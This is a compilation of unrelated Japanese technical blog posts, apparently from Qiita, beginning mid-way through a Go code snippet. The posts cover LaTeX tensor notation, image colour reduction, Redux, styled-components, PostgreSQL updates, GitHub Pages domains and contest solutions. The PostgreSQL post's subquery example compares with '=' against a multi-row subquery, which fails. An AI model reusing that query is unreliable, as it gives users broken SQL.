			stackTrace()
		}
	}()


	panic("Panic Error!")
}

func stackTrace() {
	stack := make([]byte, 1024*8)
	stack = stack[:runtime.Stack(stack, false)]
	log.Println(string(stack))
}


```
テンソル書きたい

tensor パッケージを使おう．

[tensor.sty | CTAN](https://www.ctan.org/pkg/tensor)

- 上付き添え字と下付き添え字をずらす
- 左側にも添え字を付与できる

# ○ 使い方

- `\indices`, `\indices*` : 右側添え字
- `\tensor`, `\tensor*` : テンソル表記
- `\nuclide` : 化学元素

`*` 付きコマンドは添え字を詰めることが出来る．

## ■ 右側添え字

右側に添え字を付与する．

```tex
\indices{<右側添え字>}
```

**例 :**

```tex
M\indices{^a_b^{cd}_e}
```

![tensor-indices.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590705/a0cc0335-b52f-4e2f-13c7-7737664ee187.png)

また，このコマンドは前の記号のサイズから反映されて添え字の高さを自動的に変更することが出来るようだ．




## ■ テンソル表記

テンソルを表記するときに利用したい．

```tex
\tensor[<左側添え字>]{<テンソル>}{<右側添え字>}
```

**例 :**


```tex
\tensor[^a_b^c_d]{T}{^e_f^g_h}
```

![tensor-tensor.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590705/7de28b38-f7a4-f641-85ee-667d5a7a50f5.png)

### ☆ `*` を付ける

`*` を付けない場合には以下のようになる．

```tex
M\indices{^a_{bcd}^{ef}_g}
\tensor[^a_{bc}^d_{efg}]{T}{^{hi}_j^{klm}_n}
```

![tensor-indices-tensor.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590705/48994d4e-b027-114e-19f0-8a7a06e526f1.png)


`*` を付けると添え字が詰まる．

```tex
M\indices*{^a_{bcd}^{ef}_g}
\tensor*[^a_{bc}^d_{efg}]{T}{^{hi}_j^{klm}_n}
```

![tensor-star.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590705/c25f9a29-8c61-4090-8c17-87a6d93ac6c4.png)


また，添え字に`*` を付けると以下のようになる．

```tex
M\indices*{*^a_{bcd}^{ef}_g}
\tensor*[*^a_{bc}^d_{efg}]{T}{*^{hi}_j^{klm}_n}
```

![tensor-star-star.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590705/e1f94909-a9bd-2458-1c8d-1603de99136e.png)


### ☆ ! Double superscript / subscript.

テンソルに名前を付与する際に，以下のようにすることがあるだろう．しかし，この場合にはエラーが発生する．

```tex
M_0 \indices{^a_b^{cd}_e}
\tensor[^a_b^c_d]{T_1}{^e_f^g_h}
```

**Example of Error :**
下付き添え字が二重になっているために起こるエラーのようだ．

```
! Double subscript.
\tnsr@Fin ->^{\the \tnsr@Sps }_
                               {\the \tnsr@Sbs }
```

これを回避するためには，`()` を付ける．

```tex
(M_0) \indices{^a_b^{cd}_e}
\tensor[^a_b^c_d]{(T_1)}{^e_f^g_h}
```

![tensor-paren.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590705/aaa307a8-a07b-34fc-af8e-1dcebf396053.png)

## ■ ブランクに記号を挿入する

```tex
\renewcommand\indexmarker{<ブランクに入れる記号>}
```

**例 :**


```tex
\renewcommand\indexmarker{\cdot}
\tensor[^a_b^c_d]{T}{^e_f^g_h}
```

![tensor-indexmarker.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590705/cb918f20-9a7e-1800-01e6-b3585967e088.png)

## ■ 化学元素記号

化学元素記号も出せる．[^???]

[^???]: テンソルと化学元素を同時に使う人がいるのか分からない．

```tex
\nuclide[<mass No.>][<atomic No.>]{<symbol>}
```

**例 :**

```tex
\nuclide[14][12]{C}
```

![tensor-atom-symbol.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/590705/80a82f35-5b5d-f15b-d820-db8e6ac1dad1.png)

# 余談

テンソル表記に使うコマンドは`\indices` と`\tensor` のどちらが良いのだろう．
左側に添え字を付与しない場合であれば，どちらであっても同じ結果を得る．
Pythonによる画像処理100本ノック#6 減色処理

## はじめに
どうも、らむです。
今回は画像中の色の数を減らす減色処理を実装します。
ちなみに、前回から一本飛んでいるのはどうしても5本目のHSV変換が実装できなかったからです。

## 6本目：減色処理
減色処理はその名の通り、色の数を減らす処理のことです。
通常の画像ではBGRでそれぞれ[0:255]の256色が存在し、1つの画素値で$256^3 = 16,777,216$色の組み合わせがあります。
今回の処理ではBGRそれぞれに[32,96,160,224]の4色、1つの画素値で$4^3 = 64$色に減色します。

今回、減色は以下の式に従って行います。

```
pix = {  32 (  0 <= pix <  64)
         96 ( 64 <= pix < 128)
        160 (128 <= pix < 192)
        224 (192 <= pix < 256)
```

## ソースコード

```decreaseColor.py
import numpy as np
import cv2
import matplotlib.pyplot as plt

def decreaseColor(img):
  dst = img.copy()

  idx = np.where((0<=img) & (64>img))
  dst[idx] = 32
  idx = np.where((64<=img) & (128>img))
  dst[idx] = 96
  idx = np.where((128<=img) & (192>img))
  dst[idx] = 160
  idx = np.where((192<=img) & (256>img))
  dst[idx] = 224

  return dst

# 画像読込
img = cv2.imread('../assets/imori.jpg')

# 減色処理
img = decreaseColor(img)

# 画像表示
plt.imshow(cv2.cvtColor(img, cv2.COLOR_BGR2RGB))
plt.show()
```


<img width="300" alt="ファイル名" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/519081/5f7ccd93-cb2d-f14b-9004-0fd116035c34.jpeg">　<img width="300" alt="ファイル名" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/519081/3666b19b-7c9c-7a20-25fd-75eddb1218d8.jpeg">


画像左は入力画像、画像右は出力画像です。
上手く色が減っていることが分かりますね。似たような色の箇所をベタ塗りしたような出力結果になりました。

## おわりに
もし、質問がある方がいらっしゃれば気軽にどうぞ。
imori_imoriさんの[Github](https://github.com/yoyoyo-yo/Gasyori100knock/blob/master/Question_01_10/answers_py/answer_6.py)に公式の解答が載っているので是非そちらも確認してみてください。
それから、pythonは初心者なので間違っているところがあっても優しく指摘してあげてください。
作業と仕事の境目

# 作業に全く集中できなかった
低気圧のせいか、連日の寝不足のせいか、とにかく作業に集中できなかった。
やる気が起きず、始めてもすぐに他のことに気を取られてやめてしまう。そんなこんなで8時間をろくな作業をせずに浪費してしまった。
今後、こういったことをしてしまうと仕事としても、個人の時間としても非常にもったいないことだと思うので、対応を今のうちに考えておく。

# そもそもの原因
原因自体は下記の3つが大きな要因になっているように思われる。
1. 寝不足説
2. 低気圧説
3. 作業への飽き説

## 寝不足説
### 問題点
最近、連日の残業や、プライベートな作業に押され、睡眠時間を削ることが多かった。
子供を寝かしつけるなどをしているとそれだけで大きな時間を削られ、自分のしたいことができなくなる。
それによって寝不足が生じている。

## 低気圧説
今日は低気圧で副交感神経が高まりまくっていた。
もともと気圧の影響は受けやすい方なので、仕方がないが、何かしらの対応を考えておきたいところ。

## 作業への飽き説
大きな仕事が一段落したと思ったら、地味にダラダラと続いていることによるストレスで、一時的にショートしている感がある。
また、溜まっていたプロジェクトが一気に押し寄せている。優先したいプロジェクト(工数少)と上司が優先させたいプロジェクト(工数多)の板挟みになり、動きにくい状態ができてしまっている

# 解決策
低気圧以外の2つはお互いに影響しあっている部分があり、悪循環に陥っている。
- 寝不足→思考がショートしやすくなっている
- プロジェクトが多い→残業が増える
プロジェクトの数が多いことでやることが煩雑になっている部分もあるので、手早く終わらせられるやつは終わらせて、1日の作業効率を上げる必要がある。

## プロジェクトの分解
ここで問題になっているプロジェクトは次の3つだ
1. 【優先度最高】終わったと思ったら終わってなかったプロジェクト
2. 【優先度高】上司から早くやってほしいと言われているが、要件曖昧で他のメンバーも腰が重い
3. 【優先度中】自分で完結するし、切られている期限が確実に近い

### 優先度最高
もう終了に向けて進めるしか無い。終了地点が曖昧なのがプロジェクト進行上の最大の問題になっているので、そこははっきりさせる。
また、現状の問題点について、様々な視点から見つめ直し、問題点についてはすぐに対応するようにする。

### 優先度高
要件が曖昧であることと、メンバーの腰が重いことが障壁になっている。
こちらからどんどん提案して進めていくしか無いが、上司の一人はそれに否定的な様子。
現状問題なのが、ユーザーの理解度が低いことによる退会なので、ユーザーのどの部分の理解度が低いかをメールを読み直して捉え直す必要あり。それによって構成を少々組み直すべきかもしれない。

### 優先度中
もうこれは完結させればいいや。
残業での作業はこれを優先させちゃおう。そうすればだいぶ楽だ。

## 今日みたいなどうしてもやる気が起きない日の対応法
逆に業務時間内にめっちゃ個人的なことやろう。
その結果、罪悪感で仕事やりたくなるならそれでいいし、やりたくならなくても自分のやりたいこと進められるならそれでひとまずはいい。
また、自分のやりたいことを進められないことがストレスになっている場合もあるので、それはそれでいい。

## 寝不足について
睡眠の質を上げる方向と、睡眠の量を増やす方法の両方を取る必要がある。
この辺については別途調べ、対応法を考える
## 低気圧について
もうしょーがない。コーヒー飲んで交感神経を活発にスべし。
styled-componentsでレスポンシブを楽に書く

## はじめに
今回はstyled-componentsを使ってレスポンシブデザインをできるだけ楽にする方法を紹介します。


## 実際に描いてみる
今回のは一回書いてしまえばつかいまわせるので簡単に書きます。

src直下にmedia.tsを作成し、以下のコードを書きます。Javascriptで書く場合はtypeの部分は全部消します。

```js:src/media.ts

import {
    css,
    CSSObject,
    FlattenSimpleInterpolation,
    SimpleInterpolation,
} from 'styled-components';

export const sp = (
    first: CSSObject | TemplateStringsArray,
    ...interpolations: SimpleInterpolation[]
): FlattenSimpleInterpolation => css`
    @media (max-width: 560px) {
        ${css(first, ...interpolations)}
    }
`;

export const tab = (
    first: CSSObject | TemplateStringsArray,
    ...interpolations: SimpleInterpolation[]
): FlattenSimpleInterpolation => css`
    @media (min-width: 561px) and (max-width: 1024px) {
        ${css(first, ...interpolations)}
    }
`;
export const pc = (
    first: CSSObject | TemplateStringsArray,
    ...interpolations: SimpleInterpolation[]
): FlattenSimpleInterpolation => css`
    @media (min-width: 1025px) {
        ${css(first, ...interpolations)}
    }
`;

```

styled-componentsからインポートしたcssは、関数みたいにも使えます。sp(スマートフォン)、tab(タブレット)、pc(パソコン)という関数を作って、それぞれのサイズでスタイルを当てたい時に呼び出して使います。

引数のタイプはVSCodeの型推論と同じになるようにしただけです。

次にApp.tsxで以下のコードを書いて、使ってみましょう。

```js:src/App.tsx

import React from 'react';
import styled from 'styled-components';
import { pc, sp, tab } from './media';

export const App = () => <Box>レスポンシブ</Box>;

const Box = styled.div`
    background-color: red;
    ${sp`
        width: 20px;
        height: 20px;
    `}
    ${tab`
        width: 50px;
        height: 50px;
    `}
    ${pc`
        width: 100px;
        height: 100px;
    `}
`;

```

ブラウザで確認するとそれぞれのサイズでちゃんと赤い正方形のサイズが変わると思います。
ブレイクポイントなど自由に変えて使ってみてください。

## 終わりに
ここまで読んで頂きありがとうございます！感想やリクエストなどどんどん送ってくれると嬉しいです！

## 参考記事
* [styled-componentsドキュメント](https://styled-components.com/docs/faqs#can-i-nest-rules)
* [【新定番】レスポンシブデザインのブレイクポイントの正解はこれだった[2019最新版]](https://hashimotosan.hatenablog.jp/entry/2019/05/28/164834)
[postgres] posgreではテーブル結合してUPDATEする時はJOINを使わない

「テーブルを結合して、レビューがある商品だけ更新したい」

本と本を借りている人(1対１)、商品と商品へのレビュー(1対多)みたいにテーブル結合を使った`UPDATE`文を実行したいとします。

こういう時、posgresqlではJOINを使うとエラーが出る。
[公式リファレンス](https://www.postgresql.jp/document/9.4/html/sql-update.html)

解決する方法として
・`FROM`で結合先テーブルを指定する方法
・サブクエリを使う方法
があるので、それぞれ紹介します。

### 1対1編 FROM句を使う
FROM句で結合先テーブルを指定、
結合後のレコードに対して`UPDATE`します。

```sql
UPDATE products SET popular_flag = true
FROM reviews -- 実質 INNER JOIN と同じ
WHERE products.id = reviews.product_id; -- ONと同じ
```
これにより、reviewsが紐づくproductsのレコード(レビューがある商品)だけを更新できます。

### 結合後にさらに条件を追加する
AND句で条件を追加することで、結合後のレコードをさらに絞り込んで`UPDATE`できます。

```sql
UPDATE products SET popular_flag = true
FROM reviews
WHERE products.id = reviews.product_id
-- 価格1万円以上で削除されてない商品のみUPDATE
AND price >= 10000
AND products.deleted_at IS NULL;
```

#### 注意点
[公式リファレンス](https://www.postgresql.jp/document/9.4/html/sql-update.html)

互換性
>FROM句およびRETURNING句はPostgreSQLの拡張です。

ということなので、他のRDBでは使えません。

注釈
>FROM句が存在する場合、基本的に、対象テーブルとfrom_listで指定されたテーブルが結合され、この結合の出力行が対象テーブルの更新操作の結果となります。 FROM句を使用する場合、更新対象テーブルの1行に対して、結合結果が複数行にならないように注意してください。 言い換えると、対象テーブルの個々の行は、他テーブルの複数の行と結合すべきではありません。 結合結果が複数行になった場合、対象行の更新には結合結果のいずれか1行のみが使用されますが、どの行が使用されるかは簡単には予測できません。


長ったらしいですね。具体例で考えると分かりやすいです。

- 本と本の貸し出し状況のテーブルを結合して、UPDATE

本と本を借りれる人は1対1なので、結合後にbooks rentalsどちらを更新してもOK

- 商品と商品レビューのテーブルを結合して、UPDATE

商品(1対多の1のほう)を更新 => OK
レビュー(1対多の多のほう)を更新 => **NG 更新漏れが起こる**

結合する時に結びつく相手が複数ある場合、複数の中から1つの結び付きだけが選択され、更新されます。

>このような不定性の問題があるため、他テーブルの参照は副問い合わせ内のみに留めておいた方がより安全です（ただし、結合よりも可読性や実行速度は低下します）。

ということで、続いてはサブクエリを使った`UPDATE`をやってみます。

### 1対多の「多」をUPDATE編 サブクエリを使う
`FROM`句は使わず、`WHERE`の値でサブクエリを使います。

商品に対するレビューの公開フラグを一律で更新するならば、
```
UPDATE products SET popular_flag = true
WHERE products.id = 
(SELECT product_id FROM reviews);
```
となります。
サブクエリを書き慣れている人ならばこちらの方がいいかもしれませんね。
こちらについても、`AND`句で条件を追加することができるようです。
React-Redux 私的まとめ

こちらの記事は以下の書籍を参考にアウトプットとして執筆しました。
[React入門 React・Reduxの導入からサーバサイドレンダリングによるUXの向上まで](https://www.amazon.co.jp/React%E5%85%A5%E9%96%80-React%E3%83%BBRedux%E3%81%AE%E5%B0%8E%E5%85%A5%E3%81%8B%E3%82%89%E3%82%B5%E3%83%BC%E3%83%90%E3%82%B5%E3%82%A4%E3%83%89%E3%83%AC%E3%83%B3%E3%83%80%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AB%E3%82%88%E3%82%8BUX%E3%81%AE%E5%90%91%E4%B8%8A%E3%81%BE%E3%81%A7-%E7%A9%B4%E4%BA%95%E5%AE%8F%E5%B9%B8-ebook/dp/B078XDLL2J/ref=tmm_kin_swatch_0?_encoding=UTF8&qid=&sr=)

#ルーティング
#実行パターン
##URL遷移なし
Store内にpageプロパティを実装するなどで判断
##URLハッシュ
取得はlocation.hash
ハッシュが変更をきっかけにしている
##history API
ブラウザの履歴情報を操作することができるAPIを使う手法
#ルーティングライブラリ
##react-router v4
###API
####<BrowserRouter>
history APIを使う

```javascript
import { render } from '@testing-library/react';
import React from 'react';
import { Provider } from 'react-redux'
import { BrowserRouter as Router, Route } from 'react-router-dom'

// 略

render(
  <Provider store={store} >
    <Router>
      <Route path="/" component={App} />
    </Router>
  </Provider>,
  document.getElementByid('root')
)
```
引用：[React入門 React・Reduxの導入からサーバサイドレンダリングによるUXの向上まで](https://www.amazon.co.jp/React%E5%85%A5%E9%96%80-React%E3%83%BBRedux%E3%81%AE%E5%B0%8E%E5%85%A5%E3%81%8B%E3%82%89%E3%82%B5%E3%83%BC%E3%83%90%E3%82%B5%E3%82%A4%E3%83%89%E3%83%AC%E3%83%B3%E3%83%80%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AB%E3%82%88%E3%82%8BUX%E3%81%AE%E5%90%91%E4%B8%8A%E3%81%BE%E3%81%A7-%E7%A9%B4%E4%BA%95%E5%AE%8F%E5%B9%B8-ebook/dp/B078XDLL2J/ref=tmm_kin_swatch_0?_encoding=UTF8&qid=&sr=)

BrowserRouterより下からRouteが使える

##react-router-redux
react-routerを更にreduxに最適化できる
ルーティング情報をStoreのStateで管理


#Reduxの非同期処理
##redux-thunkによる非同期処理
ReduxではAPIからのレスポンスはActionとして扱う
###thunkミドルウェア
ミドルウェア適応

```javascript
import { createStore, applyMiddleware } from 'redux'
import logger from 'redux-logger'
import thunk from 'redux-thunk'
import reducers from './reducers'

const middlewares = [logger, thunk]

const store = createStore(reducers, applyMiddleware(...middlewares))
//createStoreの第2引数はStoreの初期オプションを与える

export default store
```
参考:[React入門 React・Reduxの導入からサーバサイドレンダリングによるUXの向上まで](https://www.amazon.co.jp/React%E5%85%A5%E9%96%80-React%E3%83%BBRedux%E3%81%AE%E5%B0%8E%E5%85%A5%E3%81%8B%E3%82%89%E3%82%B5%E3%83%BC%E3%83%90%E3%82%B5%E3%82%A4%E3%83%89%E3%83%AC%E3%83%B3%E3%83%80%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AB%E3%82%88%E3%82%8BUX%E3%81%AE%E5%90%91%E4%B8%8A%E3%81%BE%E3%81%A7-%E7%A9%B4%E4%BA%95%E5%AE%8F%E5%B9%B8-ebook/dp/B078XDLL2J/ref=tmm_kin_swatch_0?_encoding=UTF8&qid=&sr=)

```javascript
import shortid from 'shortid'
import * as types from '../types/todo'

// 同期Actionクリエータ
export function addTodo(title) {
  return {
    type: types.ADD_TODO,
    payload: {
      id: shortid.generate(),
      title,
    }
  }
}
// 非同期Actionクリエータ
// 関数をリターン
export function asyncAddTodo(title) {
  return (dispatch, getState) => {
    setTimeout(() => {
      dispatch(addTodo(title))
    }, 1000);
  }
}
```
BIOS(UEFI)とは？

#BIOSとは?

- **B**asic **I**nput **O**utput **S**ystemの略で、`「マザーボード上のROMに組み込まれたファームウェア」`のこと。
(ファームウェアとはハードウェアと一体となっていて分離できないソフトウェアのこと。)

- 読み方は「バイオス」。

- ソフトウェアとハードウェアの仲介という役割を果たしている。

- PCの電源が入るとマザーボードに電気が流れて最初に起動する(OSよりも先)。

- 原則として、コンピューターが動作するためのソフトウェア(OSを含む)は全てハードディスクにインストールして利用するが、BIOSだけは「マザーボードのチップ(ROM)」に記憶されている。

- 最近ではBIOSの後継として、UEFI(**U**nified **E**xtensible **F**irmware **I**nterfaceの略)が利用されている。
Github pagesで独自ドメインのサイトを公開する

## 前置き

今日はせっかくの夏休みなので、古物商の申請をしに行って来ました。
また、古物商での販売に自分のサイトを利用する場合、
[申請書の別記様式第1号その4(第1条の3関係)](https://www.police.pref.kanagawa.jp/pdf/d0155_01.pdf)にURLを記載する必要があり、また、URLの所持証明が必要になります。

所持証明の際、whoisに所有者の名前が表示されれば良いとの事ですが、
プライバシー保護(情報公開代行的なやつ)を利用しているため、名前が表示されないです。

また、サイトがまだ出来ていないため、URLにアクセスしても画面が表示されません。
ので、Google Domainsのコンソール画面の画面キャプチャで行けるかと思ったのですが、
コンソールにはドメインしか記載されていなく、また、httpsやhttpが違うなどの指摘を受け、
担当の方に通信プロトコルの概念や、ドメインの説明を噛み砕いてしようとしたのですが、中々にうまく伝えられません。

とりあえず申請だけは進めてもらったのですが、
サイト接続時に何かしら表示されていないと、申請許可がおりなさそうな雰囲気を強く感じましたので、
Github pagesで独自ドメイン＆HTTPSのサイトをかんたんに作れそうなのを思い出し、
ササッとそれっぽい表示がされているサイトを作るのに使えないかと試してみました。

## 手順

### 公開用リポジトリの作成

1. Githubで[リポジトリを作成](https://github.com/new)する。
    - Repository name: ${リポジトリ名}

#### 資材の追加

1. cloneしてくる。

```shell
$ g clone git@github.com:${ユーザ名}/${リポジトリ名}.git
$ cd ${リポジトリ名}/
```

1. index.htmlをbuild用格納ディレクトリに格納し、プッシュする。

```shell
$ mkdir -p docs
$ echo 'Hello, world!' > docs/index.html
$ git add docs/index.html
$ git commit -m "Add index.html."
$ g push
```

### Github Pages公開設定

1. リポジトリの設定画面にアクセスする。
    - `https://github.com/${ユーザ名}/${リポジトリ名}/settings`
1. ページ内検索でGitHub Pagesまで移動し、下記を設定する。
    - Source: master branch /docs folder
    - Theme Chooser: 好きなテーマ
1. `_config.yml`がリポジトリにコミットされる。

#### 確認

1. Your site is published at `https://${ユーザ名}/${リポジトリ名}/` にアクセスする。

### カスタムdomain及びHTTPSの設定(domainを持っている場合)

#### カスタムドメインの設定

1. リポジトリの設定画面から、Custom domainにドメインを指定し、Saveを選択する。
    - `CNAME`がリポジトリにコミットされる。

#### DNSのAレコードの設定

1. 実施前確認。

    ```shell
    $ dig ${ドメイン} +nostats +nocomments +nocmd
    
    ; <<>> DiG 9.10.6 <<>> ${ドメイン} +nostats +nocomments +nocmd
    ;; global options: +cmd
    ;${ドメイン}.			IN	A
    ${ドメイン}.		300	IN	SOA	ns-cloud-b1.googledomains.com. cloud-dns-hostmaster.google.com. 2 21600 3600 259200 300
    ```
1. カスタムリソースレコードに下記を設定する。(Google Domainsの場合)
    - タイプ:A
    - TTL:デフォルト
    - 名前:デフォルト
    - IPv4アドレス:
        - 185.199.108.153
1. 少々待ち、設定が反映されたか確認する。

    ```
    $ dig ${ドメイン} +nostats +nocomments +nocmd
    
    ; <<>> DiG 9.10.6 <<>> ${ドメイン} +nostats +nocomments +nocmd
    ;; global options: +cmd
    ;${ドメイン}.			IN	A
    ${ドメイン}.		3600	IN	A	185.199.108.153
    ```

#### HTTPS対応

1. DNSのAレコードの設定後、しばらく待つ。
1. Enforce HTTPSを選択する。

##### 確認

1. `https://${ドメイン}`にアクセスする。

## メモ

* 数時間くらいで出来たので、ササッとペラ紙の静的サイトを作るのには良さそうです。
* GitHub Pagesの手順を参考に、Google Domainsにて同一のApexドメインに対し、Aレコードを4つ追加しようとしましたが、すでに登録済みとして1つしか登録出来ませんでした。
* GitHub Pagesはユーザー・組織ページやプロジェクトページに分かれてる様ですが、趣味サイトの公開に利用しても規約上問題ないのか、探しても見つかりませんでした。

## 参考

* https://help.github.com/en/github/working-with-github-pages
* https://support.google.com/domains/answer/9211383?hl=ja
ABC128 A,B,C解説（python)

## A問題
https://atcoder.jp/contests/abc128/tasks/abc128_a

``` python 
a,p = map(int,input().split())
print((a*3+p)//2)
```
a×３＋pを２で割ったものが答えとなる。

##B問題
https://atcoder.jp/contests/abc128/tasks/abc128_b

``` python
n = int(input())
x = [[input().split(),i+1]for i in range(n)]
x = sorted(x, key = lambda x:(x[0][0],-int(x[0][1])))
for i in range(n):
    print(x[i][1])
```
複数の要素についてソートをかける問題。
x = sorted(x, key = lambda x:(x[0][0],-int(x[0][1])))
でkey を複数指定するとx[0][0]、-int(x[0][1])の順にソートを行う。
出力は番号で行うのでxを入力する際に番号も入れ込んだリストを作成する。

##C問題
https://atcoder.jp/contests/abc128/tasks/abc128_c

``` python
BluetoothからiPhoneを識別することはできなかったって話

#背景
スマホが発信するBluetoothを検知すればICカードとか使わないで入退室通知ができるんじゃないかと思ったので色々調べてた

#iosはペアリングするまでランダムなMACアドレスを送信する
らしいです。

参照：https://www.quora.com/Do-Bluetooth-devices-have-a-persistent-ID-like-a-MAC-address

実際 [BluetoothLEAdvertisementReceivedEventArgs][1] を使用して BluetoothAddress を取得してみましたが、iPhone の Bluetooth をオンにした時に検出されるアドレスは、毎回ランダムな2つの BluetoothAddress と数分置きにランダムになる一つの BluetoothAddress （こいつはUUIDを持ってた。UUIDも数分置きに一緒に変わる） でした。

[1]:https://docs.microsoft.com/en-us/uwp/api/windows.devices.bluetooth.advertisement.bluetoothleadvertisementreceivedeventargs?view=winrt-19041

ちなみに検索履歴の彼方に行ってしまってどこで見かけたかは分かりませんが、以下のコードで BluetoothLEAdvertisementReceivedEventArgs.BluetoothAddress からMACアドレスを取得できました。

```c#
private void hoge(BluetoothLEAdvertisementReceivedEventArgs args)
{
     string macAddres = string.Join(":", BitConverter.GetBytes(args.BluetoothAddress).Reverse().Select(x => x.ToString("X2"))).Substring(6);
}
```

#iosアプリから制作するなら、BluetoothでiPhoneを識別できるのかも
2014.04.03  マーケティングブログ　iOS/Androidで端末を識別するIDまとめ　https://iridge.jp/blog/201404/4836/

によると、どうやら簡単に端末を追跡できるものはセキュリティ的によろしくない、という流れがあったようです。
iosにも、UDID、MACアドレス、など端末を識別するIDはありますが、2014年の時点でUDID、MACアドレスは既に自由に使用できなくなり、代わりにアプリで使用できる identifierForVendor（IDFV）、AdvertisingIdentifier が提供されたとあります。

僕がやりたかったBluetoothでiPhoneを識別して入退室管理、もアプリ制作から取り組めばできるのかもしれません。

#おわりに

僕はアンドロイドは持ってないのでアンドロイドで検証はしていませんが、少なくとも iPhone をペアリングなし Bluetooth で識別するのは無理っぽい。無念


もしペアリングなし Bluetooth で iPhone を識別する方法を知っているという方がいたら、コメントしてくださると嬉しいです。
yukicoder contest 267 参戦記

# yukicoder contest 267 参戦記

## [A 1236 長針と短針](https://yukicoder.me/problems/no/1236)

12時間の間に長針と短針は11回巡り合う. 当然巡り合うのは12時間の秒数を11で割った秒数毎である. その秒数を求めると、現在時刻の次のその秒数との差が答えとなる.

```python
from bisect import bisect_left

A, B = map(int, input().split())

x = [i * 12 * 60 * 60 // 11 for i in range(12)]
t = (A * 60 + B) % (12 * 60) * 60
print(x[bisect_left(x, t)] - t)
```

## [B 1237 EXP Multiple!](https://yukicoder.me/problems/no/1237)

よく読むと「答えを10<sup>9</sup>+7で割った余り」じゃなくて、「答えで10<sup>9</sup>+7を割った余り」かよ orz. 確かにそれなら簡単に解ける. 解いた人数からしてこれに引っ掛かった人が多数だな(笑).

```python
m = 1000000007


def make_factorial_table(n):
    result = [0] * (n + 1)
    result[0] = 1
    for i in range(1, n + 1):
        result[i] = result[i - 1] * i % m
    return result


N, *A = map(int, open(0).read().split())

A.sort()

if A[0] == 0:
    print(-1)
    exit()

if A[-1] >= 4:
    print(m)
    exit()

fac = make_factorial_table(3)

t = 1
for a in A:
    t *= pow(a, fac[a])
    if t > m:
        break
print(m % t)
```

## [C 1238 選抜クラス](https://yukicoder.me/problems/no/1238)

K を引いた辺りで、「あれ、同じような問題を過去に解いてるぞ」と思ったのに解けなかった悲しみ. [ABC044C - 高橋君とカード](https://atcoder.jp/contests/abc044/tasks/arc060_a) と大体同じですね(平均がちょうどXか、平均がX以上かの違い).

a<sub>i</sub>=A<sub>i</sub>-K とすると、a<sub>i</sub>の合計が0以上になる選び方はいくつあるかという問題になる. DP をすれば簡単に求まる.

```python
m = 1000000007

N, K, *A = map(int, open(0).read().split())

for i in range(N):
    A[i] -= K

dp = {}
dp[0] = 1
for a in A:
    for k in sorted(dp, reverse=True) if a >= 0 else sorted(dp):
        dp.setdefault(k + a, 0)
        dp[k + a] += dp[k]

dp[0] -= 1
print(sum(dp[k] for k in dp if k >= 0) % m)
```
Redux 私的まとめ

#Reduxとは
**state（状態）を容易に管理をするためのフレームワークのこと**
引用：[Redux 入門 〜Reduxの基礎を理解する〜](https://qiita.com/soarflat/items/bd319695d156654bbe86)
#ReduxのみでTodoアプリ作成

```javascript
import React from 'react';
import { render } from 'react-dom';
import { createStore } from 'redux';
/********************************************/
//stateを初期化
/********************************************/
const initialState = {
  task: '',
  tasks: []
};
/********************************************/
//Reducerを定義
/********************************************/
// Reducerは状態を変化させる関数
// Actionをみて状態を変化させる
function tasksReducer(state = initialState, action) {
  switch (action.type) {
    case 'INPUT_TASK':
      return {
        ...state,
        task: action.payload.task
      };
    case 'ADD_TASK':
      return {
          ...state,
        //   concatは配列同士を結合して新しい配列を作る
        //   結合した配列を新しく作る(ディープコピー)
        tasks: state.tasks.concat([action.payload.task])
      };
    default:
      return state;
  }
    
}
/********************************************/
// Store生成
/********************************************/ 
// Storeを作るにはReducerを引数にする
// これは4つのメソッドを持っている
//      ・dispatch(Action)
//          Action発行
//      ・subscribe()
//          Storeの状態を監視する
//          状態が変わったときに好きな処理を実行できる
//      ・getState
//          今の状態が見れる
//      ・relpaceReducer
//          通常はStoreに関連付けられるReducerは1つだがその制限をなんとかできる

const store = createStore(tasksReducer);
/********************************************/ 
// ActionCreate
/********************************************/
// ActionCreateなんて名前だけどただのオブジェクトを作ってるだけ
// ブラウザからのタスク入力
const inputTask = (task) => ({
  type: 'INPUT_TASK',
  payload: {
    task
  }
});
// タスクを追加するAction
const addTask = (task) => ({
  type: 'ADD_TASK',
  payload: {
    task
  }
});
// コンポーネント
function TodoApp({ store }) {
  const { task, tasks } = store.getState();
  return (
    <div>
      <input type="text" onChange={(e) => store.dispatch(inputTask(e.target.value))} />
      <input type="button" value="add" onClick={() => store.dispatch(addTask(task))} />
      <ul>
        {
          tasks.map(function(item, i) {
            return (
              <li key={i}>{item}</li>
            );
          })
        }
      </ul>
    </div>
  );
}
// 描画
function renderApp(store) {
  render(
    <TodoApp store={store} />,
    document.getElementById('root')
  );
}
//Storeが変更されたときに再描画
store.subscribe(() => renderApp(store));
renderApp(store);
```
参考：[React入門 React・Reduxの導入からサーバサイドレンダリングによるUXの向上まで](https://www.amazon.co.jp/React%E5%85%A5%E9%96%80-React%E3%83%BBRedux%E3%81%AE%E5%B0%8E%E5%85%A5%E3%81%8B%E3%82%89%E3%82%B5%E3%83%BC%E3%83%90%E3%82%B5%E3%82%A4%E3%83%89%E3%83%AC%E3%83%B3%E3%83%80%E3%83%AA%E3%83%B3%E3%82%B0%E3%81%AB%E3%82%88%E3%82%8BUX%E3%81%AE%E5%90%91%E4%B8%8A%E3%81%BE%E3%81%A7-%E7%A9%B4%E4%BA%95%E5%AE%8F%E5%B9%B8-ebook/dp/B078XDLL2J/ref=tmm_kin_swatch_0?_encoding=UTF8&qid=&sr=)

コードは上記書籍参考。
コメントは自分なりのまとめ
クロージャ―を簡単にまとめてみた(1話)

クロージャ―
→「関数と、その関数が宣言されたレキシカル環境の組み合わせ」らしい。

わからん。。。。

★かみ砕いていく★
「関数と、その関数を産んだ(定義した)親が持っている変数を合わせたもの」

★さらにかみ砕いていく★
例を使って説明する。

「一郎function」と、自分を産んだ「太郎function」が持っている変数(age,「次郎function」)を合わせたもの

